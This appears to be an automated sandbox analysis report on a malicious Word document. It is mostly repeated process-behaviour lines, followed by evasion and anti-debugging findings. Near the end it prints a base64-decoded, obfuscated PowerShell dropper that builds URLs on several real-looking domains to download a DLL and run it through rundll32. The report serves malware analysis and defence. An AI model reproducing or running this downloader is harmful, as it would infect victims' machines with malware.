Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

barindex
Contains long sleeps (>= 3 min)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2400 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 19_2_006F109C FindFirstFileW, 19_2_006F109C
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini Jump to behavior
Source: powershell.exe, 00000005.00000002.2092843138.0000000000374000.00000004.00000020.sdmp Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging:

barindex
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_100011C0 Control_RunDLL,VirtualAlloc,VirtualAlloc,GetModuleHandleExA,VirtualAlloc,GetProcAddress,GetProcAddress,VirtualAlloc,GetProcAddress,LdrFindResource_U,LdrAccessResource,CryptAcquireContextW,CryptAcquireContextW,CryptAcquireContextW,CryptAcquireContextW,CryptCreateHash,CryptHashData,CryptDeriveKey,VirtualAlloc,_memmove,CryptEncrypt, 7_2_100011C0
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1000C620 EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer, 7_2_1000C620
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1000C620 EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer, 7_2_1000C620
Contains functionality to dynamically determine API calls
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1000C620 EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer, 7_2_1000C620
Contains functionality to read the PEB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_006CC4FF mov eax, dword ptr fs:[00000030h] 7_2_006CC4FF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0022C4FF mov eax, dword ptr fs:[00000030h] 8_2_0022C4FF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007AC4FF mov eax, dword ptr fs:[00000030h] 9_2_007AC4FF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0025C4FF mov eax, dword ptr fs:[00000030h] 10_2_0025C4FF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002DC4FF mov eax, dword ptr fs:[00000030h] 11_2_002DC4FF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002CC4FF mov eax, dword ptr fs:[00000030h] 12_2_002CC4FF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_0022C4FF mov eax, dword ptr fs:[00000030h] 13_2_0022C4FF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 14_2_0021C4FF mov eax, dword ptr fs:[00000030h] 14_2_0021C4FF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 15_2_0021C4FF mov eax, dword ptr fs:[00000030h] 15_2_0021C4FF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 16_2_001DC4FF mov eax, dword ptr fs:[00000030h] 16_2_001DC4FF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 17_2_0021C4FF mov eax, dword ptr fs:[00000030h] 17_2_0021C4FF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 18_2_0021C4FF mov eax, dword ptr fs:[00000030h] 18_2_0021C4FF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 19_2_006FC4FF mov eax, dword ptr fs:[00000030h] 19_2_006FC4FF
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10001B30 SetLastError,SetLastError,VirtualAlloc,GetNativeSystemInfo,SetLastError,VirtualAlloc,VirtualAlloc,GetProcessHeap,HeapAlloc,VirtualFree,SetLastError,VirtualAlloc,SetLastError, 7_2_10001B30
Enables debug privileges
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10007F07 SetUnhandledExceptionFilter,UnhandledExceptionFilter, 7_2_10007F07

HIPS / PFW / Operating System Protection Evasion:

barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\SysWOW64\rundll32.exe Network Connect: 5.2.136.90 80
Encrypted powershell cmdline option found
Source: unknown Process created: Base64 decoded seT-ItEM vaRiABLE:09P ([TyPE]("{0}{3}{2}{1}"-F 'Sy','ctOrY','.io.DIrE','steM')) ; seT-itEM ('V'+'Ar'+'iAbLE:av5'+'L'+'oR') ([tYpe]("{0}{7}{1}{3}{4}{6}{5}{2}"-f 'SyS','em.NeT.Serv','er','I','cepo','tManag','In','T') ) ; $ErrorActionPreference = (('S'+'ilen')+('tlyC'+'ont')+'i'+('n'+'ue'));$D81vl6l=$P12R + [char](64) + $O98E;$R_1Z=('K2'+'6E'); (Gci vArIABLe:09p ).VALue::"CREa`Te`DIr`e`CTOry"($HOME + (('B'+('G'+'FLq'+'pw_5iB'+'G')+('FF4w0'+'o')+'sc'+('BG'+'F')) -CRepLAcE('BG'+'F'),[cHar]92));$C69V=('U9'+'4V'); ( VAriablE ("Av5"+"Lo"+"r") -vAluEon )::"s`EcURi`Typ`ROt`Ocol" = (('Tl'+'s')+'12');$N80V=('F8'+'8Y');$Rgb0fqp = (('R9'+'5')+'F');$H23I=('V'+('0'+'4P'));$Gqlw9td=$HOME+(('{0}Lq'+'pw_5i{0}'+'F'+'4w'+'0osc{0}')-f [Char]92)+$Rgb0fqp+('.'+('d'+'ll'));$D34S=('V5'+'9T');$Lz7468s=((']a'+'n')+('w[3'+':')+'//'+('hang'+'a')+('rla'+'s')+('tik.'+'c')+('o'+'m/'+'cgi')+('-bi'+'n/'+'Ui4')+('n'+'/@')+']a'+('nw[3'+':'+'//')+('p'+'adr'+'eesc'+'ap'+'es'+'.com/b'+'l')+('og/0'+'I/@')+(']'+'an')+'w['+('3:'+'//s')+'a'+'r'+'t'+'ur'+'e.'+('c'+'om/wp')+('-inc'+'l'+'u')+('des'+'/JD8'+'/@]')+('an'+'w')+('[3:'+'/')+'/s'+'e'+('o'+'.ud')+('aip'+'urkar'+'t.c')+'o'+('m/rx-'+'5'+'700')+'-6'+('hnr7/S'+'gms'+'/@')+(']anw'+'[3'+':/')+'/p'+'hu'+('on'+'g')+'ap'+('p'+'le')+('.c'+'om/'+'mess')+'e'+'ng'+('e'+'r-')+'so'+('un'+'d')+'-8'+'kw'+'kq'+'/Y'+('Fr7/@'+']anw'+'[')+('3s://'+'b')+('r'+'et')+'ts'+'ha'+('wmagic'+'.com'+'/co')+('nte'+'nt')+('/Y/'+'@]an')+('w'+'[3s://c'+'a'+'fecen'+'tral.vi')+('
Source: C:\Windows\System32\cmd.exe Process created: Base64 decoded seT-ItEM vaRiABLE:09P ([TyPE]("{0}{3}{2}{1}"-F 'Sy','ctOrY','.io.DIrE','steM')) ; seT-itEM ('V'+'Ar'+'iAbLE:av5'+'L'+'oR') ([tYpe]("{0}{7}{1}{3}{4}{6}{5}{2}"-f 'SyS','em.NeT.Serv','er','I','cepo','tManag','In','T') ) ; $ErrorActionPreference = (('S'+'ilen')+('tlyC'+'ont')+'i'+('n'+'ue'));$D81vl6l=$P12R + [char](64) + $O98E;$R_1Z=('K2'+'6E'); (Gci vArIABLe:09p ).VALue::"CREa`Te`DIr`e`CTOry"($HOME + (('B'+('G'+'FLq'+'pw_5iB'+'G')+('FF4w0'+'o')+'sc'+('BG'+'F')) -CRepLAcE('BG'+'F'),[cHar]92));$C69V=('U9'+'4V'); ( VAriablE ("Av5"+"Lo"+"r") -vAluEon )::"s`EcURi`Typ`ROt`Ocol" = (('Tl'+'s')+'12');$N80V=('F8'+'8Y');$Rgb0fqp = (('R9'+'5')+'F');$H23I=('V'+('0'+'4P'));$Gqlw9td=$HOME+(('{0}Lq'+'pw_5i{0}'+'F'+'4w'+'0osc{0}')-f 